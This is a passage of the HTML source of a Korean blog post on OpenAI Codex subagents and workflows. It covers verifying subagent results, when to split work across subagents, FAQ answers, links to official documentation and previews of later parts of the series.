&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트의 가공되지 않은 긴 로그나 추적 기록 전체를 메인 스레드로 가져오면 다시 대화창이 지저분해진다. 그래서 프롬프트에 &quot;핵심만 요약해 줘&quot;, &quot;중요한 결론만 돌려줘&quot;라고 명시하는 것이 좋다. 영어 프롬프트를 쓴다면 &quot;summarize the findings&quot;나 &quot;return distilled takeaways&quot;처럼 적으면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.5 결과를 믿기 전에 확인할 것&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트가 여러 개면 결과도 그럴듯해 보이기 쉽다. 하지만 요약이 깔끔하다고 해서 바로 맞는 것은 아니다. 최소한 아래 네 가지는 확인한다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;파일 경로와 줄 번호가 실제로 존재하는지 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;테스트를 실행했다면 어떤 명령을 실행했고, 성공/실패 결과가 무엇인지 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;API나 프레임워크 동작을 말한다면 공식 문서 링크가 붙어 있는지 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;서로 다른 서브에이전트의 결론이 충돌하면, 메인 스레드에서 다시 근거를 비교한 뒤 결정한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 섹션 7 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 정리 및 실전 적용 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;1154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PKNR9/dJMcai4hBQZ/TCc7XtkAE8ttOikoRb6pwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PKNR9/dJMcai4hBQZ/TCc7XtkAE8ttOikoRb6pwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PKNR9/dJMcai4hBQZ/TCc7XtkAE8ttOikoRb6pwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPKNR9%2FdJMcai4hBQZ%2FTCc7XtkAE8ttOikoRb6pwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2112&quot; height=&quot;1154&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;1154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;7.1 언제 서브에이전트를 쓸 것인가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;caption style=&quot;text-align: left; color: #495057; font-size: 14px; margin-bottom: 8px;&quot;&gt;마지막 사용 판단표&lt;/caption&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;권장 행동&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;탐색&amp;middot;문제 분류&amp;middot;요약 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;읽기 전용이면 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대부분 읽기 전용이라 충돌이 적다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PR(코드 변경 요청) 다각도 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;관점별 역할이 분명할 때 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안, 버그, 테스트를 따로 볼 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대용량 문서 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;범위를 나눠 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;큰 내용을 나눠 읽고 요약만 합칠 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;동일 파일 동시 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;초보자는 피함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;같은 줄을 고치면 충돌 정리가 필요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단순 단일 파일 편집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;메인 스레드에서 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;나눠 맡기는 비용이 더 클 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 정리하면 이렇다. 읽고 분석해 요약을 돌려주는 작업은 병렬 서브에이전트에 맡기고, 파일을 직접 고치는 단순 작업은 메인 스레드에서 처리하는 편이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;7.2 다음 편 예고&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 편에서 서브에이전트에게 역할별 지시를 줬다면, 그 지시를 파일로 굳혀 팀 전체가 재사용하는 법이 Part 4의 주제다.&lt;/p&gt;
&lt;ul style=&quot;margin: 6px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;Constraints 블록을 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;로 옮기면 매 프롬프트마다 반복하지 않아도 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;전역 규칙 &amp;middot; 저장소 규칙 &amp;middot; 폴더별 규칙을 어떻게 나눌지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Karpathy 4원칙을 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; 템플릿으로 만들어 바로 쓰는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f3f0ff; border: 1px solid #d0bfff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘 해부한 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-rescue&lt;/code&gt;처럼 에이전트를 플러그인으로 만들어 배포하는 법을 다룬다. 오케스트레이터 패턴이 외부 서비스(Slack, GitHub, Jira)와 연결되면 사람 없이 돌아가는 워크플로가 된다.&lt;/p&gt;
&lt;ul style=&quot;margin: 6px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 서버로 Codex가 외부 API를 직접 호출하게 만들기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;superpowers 같은 마켓플레이스 플러그인 구조 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이번 편에서 만든 TOML 에이전트를 스킬로 패키징하는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 시리즈 네비게이션 박스 (본문 끝) --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 3: Subagents &amp;middot; Workflows (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 병행 사용 패턴 (예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- SEO FAQ: visible questions matched to FAQPage JSON-LD --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex subagent는 언제 쓰면 좋은가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;파일 범위가 넓거나 역할이 분명히 나뉘는 작업에 유용하다. 예를 들어 한 에이전트는 코드 탐색, 다른 에이전트는 테스트 전략, 또 다른 에이전트는 문서 검토를 맡길 수 있다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모든 작업을 subagent로 나누는 것이 좋은가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;아니다. 작은 수정이나 한 파일 안에서 끝나는 작업은 오히려 직접 처리하는 편이 빠르다. subagent는 조율 비용보다 병렬 처리 이점이 클 때 쓰는 것이 맞다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Workflow를 만들 때 가장 중요한 기준은 무엇인가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;작업 단계를 탐색, 구현, 검증, 정리처럼 검증 가능한 단위로 나누는 것이다. 각 단계의 산출물과 완료 기준이 분명해야 다음 단계에서 맥락 손실이 줄어든다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 참고 자료 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Subagents 개념 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/workflows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Workflows 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Models 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/slash-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLI Slash Commands 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Config Reference&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Pricing 페이지&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Sandbox 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/prompting&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Prompting 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://help.openai.com/en/articles/11369540-using-codex-with-your-chatgpt-plan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex ChatGPT 플랜 도움말&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 30px 0 10px 0; font-size: 14px; color: #495057;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;: 2026년 5월 6일&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석 대상&lt;/b&gt;: OpenAI Codex (2026년 5월 기준 공식 문서)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 2026년 5월 기준으로 작성되었다. 이후 변경될 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- SEO structured data: BlogPosting + BreadcrumbList + FAQPage --&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@graph&quot;: [
    {
      &quot;@type&quot;: &quot;BlogPosting&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html#blogposting&quot;,
      &quot;headline&quot;: &quot;Codex Subagents와 Workflows: 큰 작업을 나누어 처리하는 방법&quot;,
      &quot;description&quot;: &quot;Codex에서 subagent와 workflow를 활용해 큰 개발 작업을 역할별로 나누고, 탐색, 구현, 검증을 안전하게 진행하는 방법을 설명합니다.&quot;,
      &quot;inLanguage&quot;: &quot;ko-KR&quot;,
      &quot;url&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html&quot;,
      &quot;mainEntityOfPage&quot;: {
        &quot;@type&quot;: &quot;WebPage&quot;,
        &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html&quot;
      },
      &quot;author&quot;: {
        &quot;@type&quot;: &quot;Person&quot;,
        &quot;name&quot;: &quot;갓대희&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;publisher&quot;: {
        &quot;@type&quot;: &quot;Organization&quot;,
        &quot;name&quot;: &quot;갓대희의 블로그&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;datePublished&quot;: &quot;2026-05-06&quot;,
      &quot;dateModified&quot;: &quot;2026-05-08&quot;,
      &quot;articleSection&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
      &quot;keywords&quot;: [
        &quot;Codex Subagents&quot;,
        &quot;Codex Workflows&quot;,
        &quot;AI 에이전트&quot;,
        &quot;병렬 작업&quot;,
        &quot;검증 워크플로&quot;
      ]
    },
    {
      &quot;@type&quot;: &quot;BreadcrumbList&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html#breadcrumb&quot;,
      &quot;itemListElement&quot;: [
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 1,
          &quot;name&quot;: &quot;Home&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 2,
          &quot;name&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/category/AI%20Tools/Codex&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 3,
          &quot;name&quot;: &quot;Codex Subagents와 Workflows&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html&quot;
        }
      ]
    },
    {
      &quot;@type&quot;: &quot;FAQPage&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html#faq&quot;,
      &quot;mainEntity&quot;: [
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Codex subagent는 언제 쓰면 좋은가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;파일 범위가 넓거나 역할이 분명히 나뉘는 작업에 유용하다. 예를 들어 한 에이전트는 코드 탐색, 다른 에이전트는 테스트 전략, 또 다른 에이전트는 문서 검토를 맡길 수 있다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;모든 작업을 subagent로 나누는 것이 좋은가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;아니다. 작은 수정이나 한 파일 안에서 끝나는 작업은 오히려 직접 처리하는 편이 빠르다. subagent는 조율 비용보다 병렬 처리 이점이 클 때 쓰는 것이 맞다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Workflow를 만들 때 가장 중요한 기준은 무엇인가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;작업 단계를 탐색, 구현, 검증, 정리처럼 검증 가능한 단위로 나누는 것이다. 각 단계의 산출물과 완료 기준이 분명해야 다음 단계에서 맥락 손실이 줄어든다.&quot;
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2658&quot; data-origin-height=&quot;1492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btr66l/dJMcadhFy5h/nkcV16KzTg8XZsscsrwou0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btr66l/dJMcadhFy5h/nkcV16KzTg8XZsscsrwou0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btr66l/dJMcadhFy5h/nkcV16KzTg8XZsscsrwou0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtr66l%2FdJMcadhFy5h%2FnkcV16KzTg8XZsscsrwou0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2658&quot; height=&quot;1492&quot; data-origin-width=&quot;2658&quot; data-origin-height=&quot;1492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트가 커질수록 &quot;Codex에게 한 번에 다 맡기면 되겠지&quot;라는 접근방식은 금방 한계가 드러나고, 자꾸 맥락을 까먹는 문제가 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요구사항 정리, 파일 탐색, 테스트 실행, 오류 로그 분석을 한 대화창에 계속 쌓아 두면 사람도 헷갈리고 Codex도 중요한 내용을 놓치기 쉽다.&lt;br /&gt;이번 편에서는 그 이유를 풀어보고, 서브에이전트로 일을 나누는 방법과 초보자가 따라 하기 좋은 작업 흐름을 살펴본다.&lt;/p&gt;
&lt;!-- 시리즈 네비게이션 박스 (도입 직후) --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 3: Subagents &amp;middot; Workflows (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 병행 사용 